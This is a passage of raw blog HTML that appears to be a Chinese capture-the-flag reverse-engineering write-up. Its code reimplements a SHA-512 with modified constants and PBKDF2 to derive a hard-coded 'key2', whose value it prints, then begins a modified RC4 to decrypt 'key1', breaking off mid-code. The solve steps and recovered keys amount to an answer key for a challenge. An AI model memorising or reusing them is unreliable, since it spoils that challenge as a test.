#d19a66;line-height: 26px;"><span leaf="">0x81c2c92e47edaee6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x92722c851482353b</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2bfe8a14cf10364</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa81a664bbc423001</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc24b8b70d0f89791</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc76c51a30654be30</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd192e819d6ef5218</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd69906245565a910</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf40e35855771202a</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x106aa07032bbd1b8</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x19a4c116b8d2d0c8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1e376c085141ab53</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2748774cdf8eeb99</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x34b0bcb5e19b48a8</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x391c0cb3c5c95a63</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4ed8aa4ae3418acb</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5b9cca4f7763e373</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x682e6ff3d6b2b8a3</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x748f82ee5defb2fc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x78a5636f43172f60</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x84c87814a1f0ab72</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8cc702081a6439ec</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x90befffa23631e28</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa4506cebde82bde9</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbef9a3f7b2c67915</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc67178f2e372532b</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xca273eceea26619c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd186b8c721c0c207</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xeada7dd6cde0eb1e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF57D4FF7FEE6ED0D</span></span><span leaf="">,</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mkwhn227-lcc44j" style="color: #576B95 !important;" data-topic="1">#修改了</a></span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x06f067aa72176fba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0a637dc5a2c898a6</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x113f9804bef90dae</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1b710b35131c471b</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x28db77f523047d84</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x32caab7b40c72493</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3c9ebe0a15c9bebc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x431d67c49c100d4c</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4cc5d4becb3e42b6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x597f299cfc657e2a</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5fcb6fab3ad6faec</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6c44198c4a475817</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rotr</span></span><span style="line-height: 26px;"><span leaf="">(x, n)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((x &gt;&gt; n) | (x &lt;&lt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">64</span></span><span leaf=""> - n))) &amp; MASK</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">Ch</span></span><span style="line-height: 26px;"><span leaf="">(x, y, z)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (x &amp; y) ^ (~x &amp; z)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">Maj</span></span><span style="line-height: 26px;"><span leaf="">(x, y, z)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (x &amp; y) ^ (x &amp; z) ^ (y &amp; z)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">Sigma0</span></span><span style="line-height: 26px;"><span leaf="">(x)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">28</span></span><span leaf="">) ^ rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">34</span></span><span leaf="">) ^ rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">39</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">Sigma1</span></span><span style="line-height: 26px;"><span leaf="">(x)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">) ^ rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">18</span></span><span leaf="">) ^ rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">41</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sigma0</span></span><span style="line-height: 26px;"><span leaf="">(x)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) ^ rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) ^ (x &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sigma1</span></span><span style="line-height: 26px;"><span leaf="">(x)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">19</span></span><span leaf="">) ^ rotr(x, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">61</span></span><span leaf="">) ^ (x &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">pad</span></span><span style="line-height: 26px;"><span leaf="">(msg: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    l = len(msg) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf=""><br/></span><span leaf="">    msg += </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x80&#39;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (len(msg) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">128</span></span><span leaf="">) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">112</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        msg += </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf=""><br/></span><span leaf="">    msg += l.to_bytes(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;big&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> msg</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sha512</span></span><span style="line-height: 26px;"><span leaf="">(data: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    H = H0[:]</span><span leaf=""><br/></span><span leaf="">    data = pad(data)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> off </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, len(data), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">128</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        block = data[off:off+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">128</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        W = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">80</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            W[i] = int.from_bytes(block[i*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">:(i+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">], </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;big&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">80</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            W[i] = (sigma1(W[i</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-2</span></span><span leaf="">]) + W[i</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-7</span></span><span leaf="">] +</span><span leaf=""><br/></span><span leaf="">                    sigma0(W[i</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-15</span></span><span leaf="">]) + W[i</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-16</span></span><span leaf="">]) &amp; MASK</span><span leaf=""><br/></span><span leaf="">        a,b,c,d,e,f,g,h = H</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">80</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            T1 = (h + Sigma1(e) + Ch(e,f,g) + K[i] + W[i]) &amp; MASK</span><span leaf=""><br/></span><span leaf="">            T2 = (Sigma0(a) + Maj(a,b,c)) &amp; MASK</span><span leaf=""><br/></span><span leaf="">            h = g</span><span leaf=""><br/></span><span leaf="">            g = f</span><span leaf=""><br/></span><span leaf="">            f = e</span><span leaf=""><br/></span><span leaf="">            e = (d + T1) &amp; MASK</span><span leaf=""><br/></span><span leaf="">            d = c</span><span leaf=""><br/></span><span leaf="">            c = b</span><span leaf=""><br/></span><span leaf="">            b = a</span><span leaf=""><br/></span><span leaf="">            a = (T1 + T2) &amp; MASK</span><span leaf=""><br/></span><span leaf="">        H = [</span><span leaf=""><br/></span><span leaf="">            (H[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] + a) &amp; MASK, (H[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] + b) &amp; MASK,</span><span leaf=""><br/></span><span leaf="">            (H[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] + c) &amp; MASK, (H[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] + d) &amp; MASK,</span><span leaf=""><br/></span><span leaf="">            (H[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">] + e) &amp; MASK, (H[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">] + f) &amp; MASK,</span><span leaf=""><br/></span><span leaf="">            (H[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">] + g) &amp; MASK, (H[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">] + h) &amp; MASK,</span><span leaf=""><br/></span><span leaf="">        ]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;&#39;</span></span><span leaf="">.join(x.to_bytes(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;big&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> x </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> H)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">hmac_sha512</span></span><span style="line-height: 26px;"><span leaf="">(key: bytes, msg: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    block_size = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">128</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># SHA-512 block size</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(key) &gt; block_size:</span><span leaf=""><br/></span><span leaf="">        key = sha512(key)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(key) &lt; block_size:</span><span leaf=""><br/></span><span leaf="">        key = key + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf=""> * (block_size - len(key))</span><span leaf=""><br/></span><span leaf="">    o_key_pad = bytes(b ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5c</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> key)</span><span leaf=""><br/></span><span leaf="">    i_key_pad = bytes(b ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> key)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> sha512(o_key_pad + sha512(i_key_pad + msg))</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">pbkdf2_hmac_sha512</span></span><span style="line-height: 26px;"><span leaf="">(</span><span leaf=""><br/></span><span leaf="">    password: bytes,</span><span leaf=""><br/></span><span leaf="">    salt: bytes,</span><span leaf=""><br/></span><span leaf="">    iterations: int,</span><span leaf=""><br/></span><span leaf="">    dklen: int</span><span leaf=""><br/></span><span leaf="">)</span></span><span leaf=""> -&gt; bytes:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> iterations &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;iterations must be positive&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> dklen &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dklen must be positive&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    HLEN = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">64</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># SHA-512 output length in bytes</span></span><span leaf=""><br/></span><span leaf="">    l = (dklen + HLEN - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) // HLEN  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># number of blocks</span></span><span leaf=""><br/></span><span leaf="">    r = dklen - (l - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) * HLEN     </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># length of last block</span></span><span leaf=""><br/></span><span leaf="">    dk = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> block_index </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, l + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># U_1 = PRF(P, S || INT_32_BE(i))</span></span><span leaf=""><br/></span><span leaf="">        u = hmac_sha512(password, salt + struct.pack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&gt;I&#34;</span></span><span leaf="">, block_index))</span><span leaf=""><br/></span><span leaf="">        t = bytearray(u)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># U_2 ... U_c</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, iterations):</span><span leaf=""><br/></span><span leaf="">            u = hmac_sha512(password, u)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> j </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(HLEN):</span><span leaf=""><br/></span><span leaf="">                t[j] ^= u[j]</span><span leaf=""><br/></span><span leaf="">        dk.extend(t)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(dk[:dklen])</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">先求key2</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sha512</span><span leaf=""><br/></span><span leaf="">salt = bytes.fromhex(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;3ab874d617f7814eabdf541c1c026f67&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;a8204f7a77539f9d5eb6b2d24ec8e3da&#34;</span></span><span leaf=""><br/></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">key_base = sha512.sha512(salt + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;Lilac+present&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;key_base =&#34;</span></span><span leaf="">, key_base.hex())</span><span leaf=""><br/></span><span leaf="">key2 = sha512.pbkdf2_hmac_sha512(</span><span leaf=""><br/></span><span leaf="">    key_base,</span><span leaf=""><br/></span><span leaf="">    salt,</span><span leaf=""><br/></span><span leaf="">    iterations=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10000</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    dklen=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">64</span></span><span leaf=""><br/></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;key2 =&#34;</span></span><span leaf="">, key2.hex())</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mkwhn227-4i4c2m" style="color: #576B95 !important;" data-topic="1">#fba8c6c7165864e5b56fd42bd6158b2e992367b8ea03d963e097176ae865f4038fe194d68f613d38b172c106f3826351e17e977d52b1bddd73e5db3c38227815</a></span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">再求key1</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">key1_enc = bytes.fromhex(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;3fe1a533f6c9becd3dfff19a57501672&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;2894b26ee7f9116b750a703ac28e6c32&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;de769399683f2a19ab2da84985ef0880&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;05057a4b8ce190098c027ba4423cb459&#34;</span></span><span leaf=""><br/></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">key2 =  bytes.fromhex(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;fba8c6c7165864e5b56fd42bd6158b2e992367b8ea03d963e097176ae865f4038fe194d68f613d38b172c106f3826351e17e977d52b1bddd73e5db3c38227815&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">KSA</span></span><span style="line-height: 26px;"><span leaf="">(key)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    S = [((i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">    j = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        j = (j + S[i] + key[i % len(key)]) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf=""><br/></span><span leaf="">        S[i], S[j] = S[j], S[i]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> S</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">PRGA</span></span><span style="line-height: 26px;"><span leaf="">(S)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    i, j = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        i = (i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf=""><br/></span><span leaf="">        j = (j + S[i]) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf=""><br/></span><span leaf="">        S[i], S[j] = S[j], S[i]</span><span leaf=""><br/></span><span leaf="">        K = S[(S[i] + S[j]) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">yield</span></span><span leaf=""> K</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">RC4</span></span><span style="line-height: 26px;"><span leaf="">(key, text)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    S = KSA(key)</span><span leaf=""><br/></span><span leaf="">    keystram = PRGA(S)</span><span leaf=""><br/></span><span leaf="">    res = []</span><span leaf=""><br/></span><span 